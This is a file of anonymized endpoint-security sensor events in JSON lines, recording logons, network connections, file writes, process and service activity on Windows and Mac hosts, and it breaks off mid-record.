-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"}
-{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"}
-{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"}
-{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"}
-{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"}
-{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"}
-{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"}
-{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"}
-{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"}
-{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"}
-{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"}
-{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"}
-{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"}
-{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"}
-{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"}
-{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 